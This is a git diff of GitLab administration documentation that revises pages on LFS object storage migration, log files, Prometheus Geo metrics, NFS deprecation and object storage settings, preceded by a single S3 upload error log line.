{"error":"MissingRegion: could not find region configuration","level":"error","msg":"error uploading S3 session","time":"2021-03-16T22:10:55-04:00"}
diff --git a/doc/administration/lfs/index.md b/doc/administration/lfs/index.md
index d2f220e3795..3fe6a94ef13 100644
--- a/doc/administration/lfs/index.md
+++ b/doc/administration/lfs/index.md
@@ -56,7 +56,7 @@ In `config/gitlab.yml`:
## Storing LFS objects in remote object storage
You can store LFS objects in remote object storage. This allows you
-to offload reads and writes to the local disk, and free up disk space significantly.
+to reduce reads and writes to the local disk, and free up disk space significantly.
GitLab is tightly integrated with `Fog`, so you can refer to its [documentation](http://fog.io/about/provider_documentation.html)
to check which storage services can be integrated with GitLab.
You can also use external object storage in a private local network. For example,
@@ -98,32 +98,6 @@ See [the available connection settings for different providers](../object_storag
Here is a configuration example with S3.
-### Manual uploading to an object storage
-
-There are two ways to manually do the same thing as automatic uploading (described above).
-
-**Option 1: Rake task**
-
-```shell
-gitlab-rake gitlab:lfs:migrate
-```
-
-**Option 2: Rails console**
-
-Log into the Rails console:
-
-```shell
-sudo gitlab-rails console
-```
-
-Upload LFS files manually
-
-```ruby
-LfsObject.where(file_store: [nil, 1]).find_each do |lfs_object|
- lfs_object.file.migrate!(ObjectStorage::Store::REMOTE) if lfs_object.file.file.exists?
-end
-```
-
### S3 for Omnibus installations
On Omnibus GitLab installations, the settings are prefixed by `lfs_object_store_`:
@@ -146,32 +120,10 @@ On Omnibus GitLab installations, the settings are prefixed by `lfs_object_store_
```
1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-1. Migrate any existing local LFS objects to the object storage:
-
- ```shell
- gitlab-rake gitlab:lfs:migrate
- ```
-
- This migrates existing LFS objects to object storage. New LFS objects
+1. [Migrate any existing local LFS objects to the object storage](#migrating-to-object-storage).
+ New LFS objects
are forwarded to object storage unless
`gitlab_rails['lfs_object_store_background_upload']` and `gitlab_rails['lfs_object_store_direct_upload']` is set to `false`.
-1. (Optional) Verify all files migrated properly.
- From [PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database)
- (`sudo gitlab-psql -d gitlabhq_production`) verify `objectstg` below (where `file_store=2`) has count of all artifacts:
-
- ```shell
- gitlabhq_production=# SELECT count(*) AS total, sum(case when file_store = '1' then 1 else 0 end) AS filesystem, sum(case when file_store = '2' then 1 else 0 end) AS objectstg FROM lfs_objects;
-
- total | filesystem | objectstg
- ------+------------+-----------
- 2409 | 0 | 2409
- ```
-
- Verify no files on disk in `artifacts` folder:
-
- ```shell
- sudo find /var/opt/gitlab/gitlab-rails/shared/lfs-objects -type f | grep -v tmp/cache | wc -l
- ```
### S3 for installations from source
@@ -199,31 +151,68 @@ For source installations the settings are nested under `lfs:` and then
```
1. Save the file, and then [restart GitLab](../restart_gitlab.md#installations-from-source) for the changes to take effect.
-1. Migrate any existing local LFS objects to the object storage:
+1. [Migrate any existing local LFS objects to the object storage](#migrating-to-object-storage).
+ New LFS objects
+ are forwarded to object storage unless
+ `background_upload` and `direct_upload` is set to `false`.
- ```shell
- sudo -u git -H bundle exec rake gitlab:lfs:migrate RAILS_ENV=production
- ```
+### Migrating to object storage
- This migrates existing LFS objects to object storage. New LFS objects
- are forwarded to object storage unless `background_upload` and `direct_upload` is set to
- `false`.
-1. (Optional) Verify all files migrated properly.
- From PostgreSQL console (`sudo -u git -H psql -d gitlabhq_production`) verify `objectstg` below (where `file_store=2`) has count of all artifacts:
+**Option 1: Rake task**
- ```shell
- gitlabhq_production=# SELECT count(*) AS total, sum(case when file_store = '1' then 1 else 0 end) AS filesystem, sum(case when file_store = '2' then 1 else 0 end) AS objectstg FROM lfs_objects;
+After [configuring the object storage](#storing-lfs-objects-in-remote-object-storage), use the following task to
+migrate existing LFS objects from the local storage to the remote storage.
+The processing is done in a background worker and requires **no downtime**.
- total | filesystem | objectstg
- ------+------------+-----------
- 2409 | 0 | 2409
- ```
+For Omnibus GitLab:
+
+```shell
+sudo gitlab-rake "gitlab:lfs:migrate"
+```
- Verify no files on disk in `artifacts` folder:
+For installations from source:
- ```shell
- sudo find /var/opt/gitlab/gitlab-rails/shared/lfs-objects -type f | grep -v tmp/cache | wc -l
- ```
+```shell
+RAILS_ENV=production sudo -u git -H bundle exec rake gitlab:lfs:migrate
+```
+
+You can optionally track progress and verify that all packages migrated successfully using the
+[PostgreSQL console](https://docs.gitlab.com/omnibus/settings/database.html#connecting-to-the-bundled-postgresql-database):
+
+- `sudo gitlab-rails dbconsole` for Omnibus GitLab instances.
+- `sudo -u git -H psql -d gitlabhq_production` for source-installed instances.
+
+Verify `objectstg` below (where `store=2`) has count of all LFS objects:
+
+```shell
+gitlabhq_production=# SELECT count(*) AS total, sum(case when file_store = '1' then 1 else 0 end) AS filesystem, sum(case when file_store = '2' then 1 else 0 end) AS objectstg FROM lfs_objects;
+
+total | filesystem | objectstg
+------+------------+-----------
+ 2409 | 0 | 2409
+```
+
+Verify that there are no files on disk in the `objects` folder:
+
+```shell
+sudo find /var/opt/gitlab/gitlab-rails/shared/lfs-objects -type f | grep -v tmp | wc -l
+```
+
+**Option 2: Rails console**
+
+Log into the Rails console:
+
+```shell
+sudo gitlab-rails console
+```
+
+Upload LFS files manually
+
+```ruby
+LfsObject.where(file_store: [nil, 1]).find_each do |lfs_object|
+ lfs_object.file.migrate!(ObjectStorage::Store::REMOTE) if lfs_object.file.file.exists?
+end
+```
### Migrating back to local storage
diff --git a/doc/administration/logs.md b/doc/administration/logs.md
index bf74a96a627..263fe699529 100644
--- a/doc/administration/logs.md
+++ b/doc/administration/logs.md
@@ -245,8 +245,6 @@ The request was processed by `Projects::TreeController`.
## `api_json.log`
-> Introduced in GitLab 10.0.
-
Depending on your installation method, this file is located at:
- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/api_json.log`
@@ -296,7 +294,7 @@ Depending on your installation method, this file is located at:
- Installations from source: `/home/git/gitlab/log/application.log`
It helps you discover events happening in your instance such as user creation
-and project removal. For example:
+and project deletion. For example:
```plaintext
October 06, 2014 11:56: User "Administrator" (admin@example.com) was created
@@ -367,8 +365,6 @@ like this example:
## `kubernetes.log`
-> Introduced in GitLab 11.6.
-
Depending on your installation method, this file is located at:
- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/kubernetes.log`
@@ -696,8 +692,6 @@ on a project.
## `importer.log`
-> Introduced in GitLab 11.3.
-
Depending on your installation method, this file is located at:
- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/importer.log`
@@ -830,7 +824,7 @@ are generated in a location based on your installation method:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/15442) in GitLab 12.3.
-Contains details of GitLab [Database Load Balancing](database_load_balancing.md).
+Contains details of GitLab [Database Load Balancing](postgresql/database_load_balancing.md).
Depending on your installation method, this file is located at:
- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/database_load_balancing.log`
@@ -915,8 +909,6 @@ For example:
## `geo.log` **(PREMIUM SELF)**
-> Introduced in 9.5.
-
Geo stores structured log messages in a `geo.log` file. For Omnibus GitLab
installations, this file is at `/var/log/gitlab/gitlab-rails/geo.log`.
@@ -934,8 +926,6 @@ This message shows that Geo detected that a repository update was needed for pro
## `update_mirror_service_json.log`
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/commit/7f637e2af7006dc2b1b2649d9affc0b86cfb33c4) in GitLab 11.12.
-
Depending on your installation method, this file is located at:
- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/update_mirror_service_json.log`
@@ -1057,9 +1047,9 @@ For Omnibus GitLab installations, GitLab Monitor logs are in `/var/log/gitlab/gi
For Omnibus GitLab installations, GitLab Exporter logs are in `/var/log/gitlab/gitlab-exporter/`.
-## GitLab Kubernetes Agent Server
+## GitLab Agent Server
-For Omnibus GitLab installations, GitLab Kubernetes Agent Server logs are
+For Omnibus GitLab installations, GitLab Agent Server logs are
in `/var/log/gitlab/gitlab-kas/`.
## Praefect Logs
diff --git a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md
index 90d0b65dbe5..1cf4e5a25ba 100644
--- a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md
+++ b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md
@@ -20,9 +20,8 @@ project called **Monitoring** is created:
The project is created specifically for visualizing and configuring the monitoring of your GitLab
instance.
-When the project and group are created, all administrators are added as maintainers. As an
-administrator, you can add new members to the group to give them the
-[Maintainer role](../../../user/permissions.md) for the project.
+When the project and group are created, all administrators are given the [Maintainer role](../../../user/permissions.md).
+As an administrator, you can add new members to the group to give them the Maintainer role for the project.
This project can be used to:
diff --git a/doc/administration/monitoring/performance/performance_bar.md b/doc/administration/monitoring/performance/performance_bar.md
index d798feb71a9..14a560223f9 100644
--- a/doc/administration/monitoring/performance/performance_bar.md
+++ b/doc/administration/monitoring/performance/performance_bar.md
@@ -26,11 +26,10 @@ From left to right, the performance bar displays:
details for each query:
- **In a transaction**: shows up below the query if it was executed in
the context of a transaction
- - **Role**: shows up when [database load
- balancing](../../database_load_balancing.md) is enabled. It shows
- which server role was used for the query. "Primary" means that the query
- was sent to the read/write primary server. "Replica" means it was sent
- to a read-only replica.
+ - **Role**: shows up when [Database Load Balancing](../../postgresql/database_load_balancing.md)
+ is enabled. It shows which server role was used for the query.
+ "Primary" means that the query was sent to the read/write primary server.
+ "Replica" means it was sent to a read-only replica.
- **Config name**: shows up only when the
`GITLAB_MULTIPLE_DATABASE_METRICS` environment variable is set. This is
used to distinguish between different databases configured for different
diff --git a/doc/administration/monitoring/prometheus/gitlab_metrics.md b/doc/administration/monitoring/prometheus/gitlab_metrics.md
index 2f9c1e3bc9c..4a504b07a1b 100644
--- a/doc/administration/monitoring/prometheus/gitlab_metrics.md
+++ b/doc/administration/monitoring/prometheus/gitlab_metrics.md
@@ -187,16 +187,25 @@ configuration option in `gitlab.yml`. These metrics are served from the
| `geo_repositories` | Gauge | 10.2 | Total number of repositories available on primary | `url` |
| `geo_repositories_synced` | Gauge | 10.2 | Number of repositories synced on secondary | `url` |
| `geo_repositories_failed` | Gauge | 10.2 | Number of repositories failed to sync on secondary | `url` |
-| `geo_lfs_objects` | Gauge | 10.2 | Total number of LFS objects available on primary | `url` |
-| `geo_lfs_objects_synced` | Gauge | 10.2 | Number of LFS objects synced on secondary | `url` |
-| `geo_lfs_objects_failed` | Gauge | 10.2 | Number of LFS objects failed to sync on secondary | `url` |
+| `geo_lfs_objects` | Gauge | 10.2 | Number of LFS objects on primary | `url` |
+| `geo_lfs_objects_checksummed` | Gauge | 14.6 | Number of LFS objects checksummed successfully on primary | `url` |
+| `geo_lfs_objects_checksum_failed` | Gauge | 14.6 | Number of LFS objects failed to calculate the checksum on primary | `url` |
+| `geo_lfs_objects_checksum_total` | Gauge | 14.6 | Number of LFS objects tried to checksum on primary | `url` |
+| `geo_lfs_objects_synced` | Gauge | 10.2 | Number of syncable LFS objects synced on secondary | `url` |
+| `geo_lfs_objects_failed` | Gauge | 10.2 | Number of syncable LFS objects failed to sync on secondary | `url` |
+| `geo_lfs_objects_registry` | Gauge | 14.6 | Number of LFS objects in the registry | `url` |
+| `geo_lfs_objects_verified` | Gauge | 14.6 | Number of LFS objects verified on secondary | `url` |
+| `geo_lfs_objects_verification_failed` | Gauge | 14.6 | Number of LFS objects' verifications failed on secondary | `url` |
+| `geo_lfs_objects_verification_total` | Gauge | 14.6 | Number of LFS objects' verifications tried on secondary | `url` |LFS objects failed to sync on secondary | `url` |
+| `geo_attachments` | Gauge | 10.2 | Total number of file attachments available on primary | `url` |
+| `geo_attachments_synced` | Gauge | 10.2 | Number of attachments synced on secondary | `url` |
+| `geo_attachments_failed` | Gauge | 10.2 | Number of attachments failed to sync on secondary | `url` |
| `geo_last_event_id` | Gauge | 10.2 | Database ID of the latest event log entry on the primary | `url` |
| `geo_last_event_timestamp` | Gauge | 10.2 | UNIX timestamp of the latest event log entry on the primary | `url` |
| `geo_cursor_last_event_id` | Gauge | 10.2 | Last database ID of the event log processed by the secondary | `url` |
| `geo_cursor_last_event_timestamp` | Gauge | 10.2 | Last UNIX timestamp of the event log processed by the secondary | `url` |
| `geo_status_failed_total` | Counter | 10.2 | Number of times retrieving the status from the Geo Node failed | `url` |
| `geo_last_successful_status_check_timestamp` | Gauge | 10.2 | Last timestamp when the status was successfully updated | `url` |
-| `geo_lfs_objects_synced_missing_on_primary` | Gauge | 10.7 | Number of LFS objects marked as synced due to the file missing on the primary | `url` |
| `geo_job_artifacts_synced_missing_on_primary` | Gauge | 10.7 | Number of job artifacts marked as synced due to the file missing on the primary | `url` |
| `geo_repositories_checksummed` | Gauge | 10.7 | Number of repositories checksummed on primary | `url` |
| `geo_repositories_checksum_failed` | Gauge | 10.7 | Number of repositories failed to calculate the checksum on primary | `url` |
@@ -253,15 +262,15 @@ configuration option in `gitlab.yml`. These metrics are served from the
| `geo_group_wiki_repositories_failed` | Gauge | 13.10 | Number of syncable group wikis failed on secondary | `url` |
| `geo_group_wiki_repositories_registry` | Gauge | 13.10 | Number of syncable group wikis in the registry | `url` |
| `geo_pages_deployments` | Gauge | 14.3 | Number of pages deployments on primary | `url` |
-| `geo_pages_deployments_checksum_total` | Gauge | 14.3 | Number of pages deployments tried to checksum on primary | `url` |
-| `geo_pages_deployments_checksummed` | Gauge | 14.3 | Number of pages deployments successfully checksummed on primary | `url` |
-| `geo_pages_deployments_checksum_failed` | Gauge | 14.3 | Number of pages deployments failed to calculate the checksum on primary | `url` |
+| `geo_pages_deployments_checksum_total` | Gauge | 14.6 | Number of pages deployments tried to checksum on primary | `url` |
+| `geo_pages_deployments_checksummed` | Gauge | 14.6 | Number of pages deployments successfully checksummed on primary | `url` |
+| `geo_pages_deployments_checksum_failed` | Gauge | 14.6 | Number of pages deployments failed to calculate the checksum on primary | `url` |
| `geo_pages_deployments_synced` | Gauge | 14.3 | Number of syncable pages deployments synced on secondary | `url` |
| `geo_pages_deployments_failed` | Gauge | 14.3 | Number of syncable pages deployments failed to sync on secondary | `url` |
| `geo_pages_deployments_registry` | Gauge | 14.3 | Number of pages deployments in the registry | `url` |
-| `geo_pages_deployments_verification_total` | Gauge | 14.3 | Number of pages deployments verifications tried on secondary | `url` |
-| `geo_pages_deployments_verified` | Gauge | 14.3 | Number of pages deployments verified on secondary | `url` |
-| `geo_pages_deployments_verification_failed` | Gauge | 14.3 | Number of pages deployments verifications failed on secondary | `url` |
+| `geo_pages_deployments_verification_total` | Gauge | 14.6 | Number of pages deployments verifications tried on secondary | `url` |
+| `geo_pages_deployments_verified` | Gauge | 14.6 | Number of pages deployments verified on secondary | `url` |
+| `geo_pages_deployments_verification_failed` | Gauge | 14.6 | Number of pages deployments verifications failed on secondary | `url` |
| `limited_capacity_worker_running_jobs` | Gauge | 13.5 | Number of running jobs | `worker` |
| `limited_capacity_worker_max_running_jobs` | Gauge | 13.5 | Maximum number of running jobs | `worker` |
| `limited_capacity_worker_remaining_work_count` | Gauge | 13.5 | Number of jobs waiting to be enqueued | `worker` |
@@ -272,6 +281,12 @@ configuration option in `gitlab.yml`. These metrics are served from the
| `geo_uploads_synced` | Gauge | 14.1 | Number of uploads synced on secondary | `url` |
| `geo_uploads_failed` | Gauge | 14.1 | Number of syncable uploads failed to sync on secondary | `url` |
| `geo_uploads_registry` | Gauge | 14.1 | Number of uploads in the registry | `url` |
+| `geo_uploads_checksum_total` | Gauge | 14.6 | Number of uploads tried to checksum on primary | `url` |
+| `geo_uploads_checksummed` | Gauge | 14.6 | Number of uploads successfully checksummed on primary | `url` |
+| `geo_uploads_checksum_failed` | Gauge | 14.6 | Number of uploads failed to calculate the checksum on primary | `url` |
+| `geo_uploads_verification_total` | Gauge | 14.6 | Number of uploads verifications tried on secondary | `url` |
+| `geo_uploads_verified` | Gauge | 14.6 | Number of uploads verified on secondary | `url` |
+| `geo_uploads_verification_failed` | Gauge | 14.6 | Number of uploads verifications failed on secondary | `url` |
| `gitlab_sli:rails_request_apdex:total` | Counter | 14.4 | The number of request-apdex measurements, [more information the development documentation](../../../development/application_slis/rails_request_apdex.md) | `endpoint_id`, `feature_category`, `request_urgency` |
| `gitlab_sli:rails_request_apdex:success_total` | Counter | 14.4 | The number of succesful requests that met the target duration for their urgency. Devide by `gitlab_sli:rails_requests_apdex:total` to get a success ratio | `endpoint_id`, `feature_category`, `request_urgency` |
diff --git a/doc/administration/monitoring/prometheus/index.md b/doc/administration/monitoring/prometheus/index.md
index e86ca596955..3268c0fc14c 100644
--- a/doc/administration/monitoring/prometheus/index.md
+++ b/doc/administration/monitoring/prometheus/index.md
@@ -259,9 +259,10 @@ To use an external Prometheus server:
- 1.1.1.1:9229
- job_name: gitlab-rails
metrics_path: "/-/metrics"
+ scheme: https
static_configs:
- targets:
- - 1.1.1.1:8080
+ - 1.1.1.1
- job_name: gitlab-sidekiq
static_configs:
- targets:
@@ -287,6 +288,11 @@ To use an external Prometheus server:
- 1.1.1.1:9236
```
+ WARNING:
+ The `gitlab-rails` job in the snippet assumes that GitLab is reachable through HTTPS. If your
+ deployment doesn't use HTTPS, the job configuration is adapted to use the `http` scheme and port
+ 80.
+
1. Reload the Prometheus server.
## Viewing performance metrics
diff --git a/doc/administration/nfs.md b/doc/administration/nfs.md
index 2a2e9f05312..a0170e6c4ef 100644
--- a/doc/administration/nfs.md
+++ b/doc/administration/nfs.md
@@ -20,31 +20,31 @@ file system performance, see
## Gitaly and NFS deprecation
-Starting with GitLab version 14.0, support for NFS to store Git repository data will be deprecated. Technical customer support and engineering support will be available for the 14.x releases. Engineering will fix bugs and security vulnerabilities consistent with our [release and maintenance policy](../policy/maintenance.md#security-releases).
+Starting with GitLab version 14.0, support for NFS to store Git repository data is deprecated. Technical customer support and engineering support is available for the 14.x releases. Engineering is fixing bugs and security vulnerabilities consistent with our [release and maintenance policy](../policy/maintenance.md#security-releases).
-At the end of the 14.12 milestone (tenatively June 22nd, 2022) technical and engineering support for using NFS to store Git repository data will be officially at end-of-life. There will be no product changes or troubleshooting provided via Engineering, Security or Paid Support channels.
+At the end of the 14.12 milestone (tentatively June 22nd, 2022) technical and engineering support for using NFS to store Git repository data will be officially at end-of-life. There will be no product changes or troubleshooting provided via Engineering, Security or Paid Support channels.
For those customers still running earlier versions of GitLab, [our support eligibility and maintenance policy applies](https://about.gitlab.com/support/statement-of-support.html#version-support).
-For the 14.x releases, we will continue to help with Git related tickets from customers running one or more Gitaly servers with its data stored on NFS. Examples may include:
+For the 14.x releases, we continue to help with Git related tickets from customers running one or more Gitaly servers with its data stored on NFS. Examples may include:
- Performance issues or timeouts accessing Git data
- Commits or branches vanish
- GitLab intermittently returns the wrong Git data (such as reporting that a repository has no branches)
-Assistance will be limited to activities like:
+Assistance is limited to activities like:
- Verifying developers' workflow uses features like protected branches
- Reviewing GitLab event data from the database to advise if it looks like a force push over-wrote branches
- Verifying that NFS client mount options match our [documented recommendations](#mount-options)
- Analyzing the GitLab Workhorse and Rails logs, and determining that `500` errors being seen in the environment are caused by slow responses from Gitaly
-GitLab support will be unable to continue with the investigation if:
+GitLab support is unable to continue with the investigation if:
- The date of the request is on or after the release of GitLab version 15.0, and
- Support Engineers and Management determine that all reasonable non-NFS root causes have been exhausted
-If the issue is reproducible, or if it happens intermittently but regularly, GitLab Support will investigate providing the issue reproduces without the use of NFS. In order to reproduce without NFS, the affected repositories should be migrated to a different Gitaly shard, such as Gitaly cluster or a standalone Gitaly VM, backed with block storage.
+If the issue is reproducible, or if it happens intermittently but regularly, GitLab Support can investigate providing the issue reproduces without the use of NFS. In order to reproduce without NFS, the affected repositories should be migrated to a different Gitaly shard, such as Gitaly cluster or a standalone Gitaly VM, backed with block storage.
### Why remove NFS for Git repository data
@@ -438,7 +438,7 @@ the file system access GitLab requires. Workloads where many small files are wri
a serialized manner, like `git`, are not well suited to cloud-based file systems.
If you do choose to use these, avoid storing GitLab log files (for example, those in `/var/log/gitlab`)
-there because this will also affect performance. We recommend that the log files be
+there because this also affects performance. We recommend that the log files be
stored on a local volume.
For more details on the experience of using a cloud-based file systems with GitLab,
@@ -447,12 +447,12 @@ see this [Commit Brooklyn 2019 video](https://youtu.be/K6OS8WodRBQ?t=313).
### Avoid using CephFS and GlusterFS
GitLab strongly recommends against using CephFS and GlusterFS.
-These distributed file systems are not well-suited for the GitLab input/output access patterns because Git uses many small files and access times and file locking times to propagate will make Git activity very slow.
+These distributed file systems are not well-suited for the GitLab input/output access patterns because Git uses many small files and access times and file locking times to propagate makes Git activity very slow.
### Avoid using PostgreSQL with NFS
GitLab strongly recommends against running your PostgreSQL database
-across NFS. The GitLab support team will not be able to assist on performance issues related to
+across NFS. The GitLab support team is not able to assist on performance issues related to
this configuration.
Additionally, this configuration is specifically warned against in the
diff --git a/doc/administration/object_storage.md b/doc/administration/object_storage.md
index 8576b429213..c6490e365a5 100644
--- a/doc/administration/object_storage.md
+++ b/doc/administration/object_storage.md
@@ -281,6 +281,9 @@ The service account must have permission to access the bucket. Learn more
in Google's
[Cloud Storage authentication documentation](https://cloud.google.com/storage/docs/authentication).
+NOTE:
+Bucket encryption with the [Cloud Key Management Service (KMS)](https://cloud.google.com/kms/docs) is not supported and will result in [ETag mismatch errors](#etag-mismatch).
+
##### Google example (consolidated form)
For Omnibus installations, this is an example of the `connection` setting:
@@ -354,7 +357,7 @@ gitlab_rails['object_store']['connection'] = {
'provider' => 'AzureRM',
'azure_storage_account_name' => '<AZURE STORAGE ACCOUNT NAME>',
'azure_storage_access_key' => '<AZURE STORAGE ACCESS KEY>',
- 'azure_storage_domain' => '<AZURE STORAGE DOMAIN>',
+ 'azure_storage_domain' => '<AZURE STORAGE DOMAIN>'
}
```
@@ -682,6 +685,8 @@ With the consolidated object configuration and instance profile, Workhorse has
S3 credentials so that it can compute the `Content-MD5` header. This
eliminates the need to compare ETag headers returned from the S3 server.
+Encrypting buckets with GCS' [Cloud Key Management Service (KMS)](https://cloud.google.com/kms/docs) is not supported and will result in ETag mismatch errors.
+
### Using Amazon instance profiles
Instead of supplying AWS access and secret keys in object storage
diff --git a/doc/administration/operations/extra_sidekiq_processes.md b/doc/administration/operations/extra_sidekiq_processes.md
index 02cb7ad0bca..1c9b98041dc 100644
--- a/doc/administration/operations/extra_sidekiq_processes.md
+++ b/doc/administration/operations/extra_sidekiq_processes.md
@@ -263,9 +263,9 @@ This sets the concurrency (number of threads) for the Sidekiq process.
## Modify the check interval
-To modify the check interval for the additional Sidekiq processes:
+To modify `sidekiq-cluster`'s health check interval for the additional Sidekiq processes:
-1. Edit `/etc/gitlab/gitlab.rb` and add:
+1. Edit `/etc/gitlab/gitlab.rb` and add (the value can be any integer number of seconds):
```ruby
sidekiq['interval'] = 5
@@ -273,8 +273,6 @@ To modify the check interval for the additional Sidekiq processes:
1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-This tells the additional processes how often to check for enqueued jobs.
-
## Troubleshoot using the CLI
WARNING:
diff --git a/doc/administration/operations/moving_repositories.md b/doc/administration/operations/moving_repositories.md
index 9cf7ac18c81..84e6dca1f2b 100644
--- a/doc/administration/operations/moving_repositories.md
+++ b/doc/administration/operations/moving_repositories.md
@@ -42,7 +42,12 @@ To move repositories into a [Gitaly Cluster](../gitaly/index.md#gitaly-cluster)
WARNING:
Repositories can be **permanently deleted** by a call to `/projects/:project_id/repository_storage_moves`
that attempts to move a project already stored in a Gitaly Cluster back into that cluster.
-See [this issue for more details](https://gitlab.com/gitlab-org/gitaly/-/issues/3752).
+See [this issue for more details](https://gitlab.com/gitlab-org/gitaly/-/issues/3752). This was fixed in
+GitLab 14.3.0 and backported to
+[14.2.4](https://about.gitlab.com/releases/2021/09/17/gitlab-14-2-4-released/),
+[14.1.6](https://about.gitlab.com/releases/2021/09/27/gitlab-14-1-6-released/),
+[14.0.11](https://about.gitlab.com/releases/2021/09/27/gitlab-14-0-11-released/), and
+[13.12.12](https://about.gitlab.com/releases/2021/09/22/gitlab-13-12-12-released/).
Each repository is made read-only for the duration of the move. The repository is not writable
until the move has completed.
diff --git a/doc/administration/operations/puma.md b/doc/administration/operations/puma.md
index f1f02b606f5..c7df8249ae4 100644
--- a/doc/administration/operations/puma.md
+++ b/doc/administration/operations/puma.md
@@ -113,7 +113,7 @@ is used when Puma is enabled.
NOTE:
Unlike Unicorn, the `puma['worker_timeout']` setting does not set the maximum request duration.
-To change the worker timeout:
+To change the worker timeout to 600 seconds:
1. Edit `/etc/gitlab/gitlab.rb`:
diff --git a/doc/administration/package_information/deprecated_os.md b/doc/administration/package_information/deprecated_os.md
index 7234d68e4b2..1f6fe0fce5d 100644
--- a/doc/administration/package_information/deprecated_os.md
+++ b/doc/administration/package_information/deprecated_os.md
@@ -1,83 +1,9 @@
---
-stage: Enablement
-group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+redirect_to: 'supported_os.md'
+remove_date: '2022-02-18'
---
-# OS Versions that are no longer supported **(FREE SELF)**
+This document was moved to [another location](supported_os.md).
-GitLab provides omnibus packages for operating systems only until their
-EOL (End-Of-Life). After the EOL date of the OS, GitLab will stop releasing
-official packages. The list of deprecated operating systems and the final GitLab
-release for them can be found below:
-
-| OS Version | End Of Life | Last supported GitLab version |
-| --------------- | ---------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| Raspbian Wheezy | [May 2015](https://downloads.raspberrypi.org/raspbian/images/raspbian-2015-05-07/) | [GitLab CE](https://packages.gitlab.com/app/gitlab/raspberry-pi2/search?q=gitlab-ce_8.17&dist=debian%2Fwheezy) 8.17 |
-| OpenSUSE 13.2 | [January 2017](https://en.opensuse.org/Lifetime#Discontinued_distributions) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce-9.1&dist=opensuse%2F13.2) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee-9.1&dist=opensuse%2F13.2) 9.1 |
-| Ubuntu 12.04 | [April 2017](https://ubuntu.com/info/release-end-of-life) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce_9.1&dist=ubuntu%2Fprecise) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee_9.1&dist=ubuntu%2Fprecise) 9.1 |
-| OpenSUSE 42.1 | [May 2017](https://en.opensuse.org/Lifetime#Discontinued_distributions) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce-9.3&dist=opensuse%2F42.1) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee-9.3&dist=opensuse%2F42.1) 9.3 |
-| OpenSUSE 42.2 | [January 2018](https://en.opensuse.org/Lifetime#Discontinued_distributions) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce-10.4&dist=opensuse%2F42.2) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee-10.4&dist=opensuse%2F42.2) 10.4 |
-| Debian Wheezy | [May 2018](https://www.debian.org/News/2018/20180601) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce_11.6&dist=debian%2Fwheezy) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee_11.6&dist=debian%2Fwheezy) 11.6 |
-| Raspbian Jessie | [May 2017](https://downloads.raspberrypi.org/raspbian/images/raspbian-2017-07-05/) | [GitLab CE](https://packages.gitlab.com/app/gitlab/raspberry-pi2/search?q=gitlab-ce_11.7&dist=debian%2Fjessie) 11.7 |
-| Ubuntu 14.04 | [April 2019](https://ubuntu.com/info/release-end-of-life) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce_11.10&dist=ubuntu%2Ftrusty) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee_11.10&dist=ubuntu%2Ftrusty) 11.10 |
-| OpenSUSE 42.3 | [July 2019](https://en.opensuse.org/Lifetime#Discontinued_distributions) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce-12.1&dist=opensuse%2F42.3) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee-12.1&dist=opensuse%2F42.3) 12.1 |
-| OpenSUSE 15.0 | [December 2019](https://en.opensuse.org/Lifetime#Discontinued_distributions) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce-12.5&dist=opensuse%2F15.0) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee-12.5&dist=opensuse%2F15.0) 12.5 |
-| Raspbian Stretch | [June 2020](https://downloads.raspberrypi.org/raspbian/images/raspbian-2019-04-09/) | [GitLab CE](https://packages.gitlab.com/app/gitlab/raspberry-pi2/search?q=gitlab-ce_13.2&dist=raspbian%2Fstretch) 13.3 |
-| Debian Jessie | [June 2020](https://www.debian.org/News/2020/20200709) | [GitLab CE](https://packages.gitlab.com/app/gitlab/gitlab-ce/search?q=gitlab-ce_13.2&dist=debian%2Fjessie) / [GitLab EE](https://packages.gitlab.com/app/gitlab/gitlab-ee/search?q=gitlab-ee_13.2&dist=debian%2Fjessie) 13.3 |
